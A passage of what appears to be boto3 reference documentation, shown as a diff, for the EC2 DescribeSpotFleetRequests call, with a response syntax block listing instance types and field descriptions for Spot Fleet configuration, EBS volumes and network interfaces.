large'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'UserData': 'string', + 'WeightedCapacity': 123.0, + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] + }, + ], + 'LaunchTemplateConfigs': [ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0 + }, + ] + }, + ], + 'SpotPrice': 'string', + 'TargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'OnDemandMaxTotalPrice': 'string', + 'SpotMaxTotalPrice': 'string', + 'TerminateInstancesWithExpiration': True|False, + 'Type': 'request'|'maintain'|'instant', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'ReplaceUnhealthyInstances': True|False, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'LoadBalancersConfig': { + 'ClassicLoadBalancersConfig': { + 'ClassicLoadBalancers': [ + { + 'Name': 'string' + }, + ] + }, + 'TargetGroupsConfig': { + 'TargetGroups': [ + { + 'Arn': 'string' + }, + ] + } + }, + 'InstancePoolsToUseCount': 123, + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] + }, + 'SpotFleetRequestId': 'string', + 'SpotFleetRequestState': 'submitted'|'active'|'cancelled'|'failed'|'cancelled_running'|'cancelled_terminating'|'modifying', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeSpotFleetRequests. + + - **SpotFleetRequestConfigs** _(list) --_ + + Information about the configuration of your Spot Fleet. + + - _(dict) --_ + + Describes a Spot Fleet request. + + - **ActivityStatus** _(string) --_ + + The progress of the Spot Fleet request. If there is an error, the status is error . After all requests are placed, the status is pending_fulfillment . If the size of the fleet is equal to or greater than its target capacity, the status is fulfilled . If the size of the fleet is decreased, the status is pending_termination while Spot Instances are terminating. + + - **CreateTime** _(datetime) --_ + + The creation date and time of the request. + + - **SpotFleetRequestConfig** _(dict) --_ + + The configuration of the Spot Fleet request. + + - **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the Spot Fleet request. + + If the allocation strategy is lowestPrice , Spot Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , Spot Fleet launches instances from all the Spot Instance pools that you specify. + + If the allocation strategy is capacityOptimized , Spot Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + - **OnDemandAllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowestPrice , Spot Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , Spot Fleet uses the priority that you assign to each Spot Fleet launch template override, launching the highest priority first. If you do not specify a value, Spot Fleet defaults to lowestPrice . + + - **SpotMaintenanceStrategies** _(dict) --_ + + The strategies for managing your Spot Instances that are at an elevated risk of being interrupted. + + - **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + - **ReplacementStrategy** _(string) --_ + + The replacement strategy to use. Only available for fleets of type maintain . You must specify a value, otherwise you get an error. + + To allow Spot Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for a Spot Instance in the fleet, specify launch . + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for all instances while they are running. + + - **ClientToken** _(string) --_ + + A unique, case-sensitive identifier that you provide to ensure the idempotency of your listings. This helps to avoid duplicate listings. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + - **ExcessCapacityTerminationPolicy** _(string) --_ + + Indicates whether running Spot Instances should be terminated if you decrease the target capacity of the Spot Fleet request below the current size of the Spot Fleet. + + - **FulfilledCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target capacity. You cannot set this value. + + - **OnDemandFulfilledCapacity** _(float) --_ + + The number of On-Demand units fulfilled by this request compared to the set target On-Demand capacity. + + - **IamFleetRole** _(string) --_ + + The Amazon Resource Name (ARN) of an AWS Identity and Access Management (IAM) role that grants the Spot Fleet the permission to request, launch, terminate, and tag instances on your behalf. For more information, see [Spot Fleet prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-requests.html#spot-fleet-prerequisites) in the _Amazon EC2 User Guide for Linux Instances_ . Spot Fleet can terminate Spot Instances on your behalf when you cancel its Spot Fleet request using [CancelSpotFleetRequests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CancelSpotFleetRequests) or when the Spot Fleet request expires, if you set TerminateInstancesWithExpiration . + + - **LaunchSpecifications** _(list) --_ + + The launch specifications for the Spot Fleet request. If you specify LaunchSpecifications , you can't specify LaunchTemplateConfigs . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + - _(dict) --_ + + Describes the launch specification for one or more Spot Instances. If you include On-Demand capacity in your fleet request or want to specify an EFA network device, you can't use SpotFleetLaunchSpecification ; you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + - **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **AddressingType** _(string) --_ + + Deprecated. + + - **BlockDeviceMappings** _(list) --_ + + One or more block devices that are mapped to the Spot Instances. You can't specify both a snapshot ID and an encryption value. This is because only blank volumes can be encrypted on creation. If a snapshot is the basis for a volume, it is not blank and its encryption status is used for the volume encryption status. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + - **EbsOptimized** _(boolean) --_ + + Indicates whether the instances are optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + - **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Name** _(string) --_ + + The name of the instance profile. + + - **ImageId** _(string) --_ + + The ID of the AMI. + + - **InstanceType** _(string) --_ + + The instance type. + + - **KernelId** _(string) --_ + + The ID of the kernel. + + - **KeyName** _(string) --_ + + The name of the key pair. + + - **Monitoring** _(dict) --_ + + Enable or disable monitoring for the instances. + + - **Enabled** _(boolean) --_ + + Enables monitoring for the instance. + + Default: false + + - **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + Note + + SpotFleetLaunchSpecification currently does not support Elastic Fabric Adapter (EFA). To specify an EFA, you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + - _(dict) --_ + + Describes a network interface. + + - **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + - **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + - **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + - **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + - **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + - _(string) --_ + - **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + - **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a 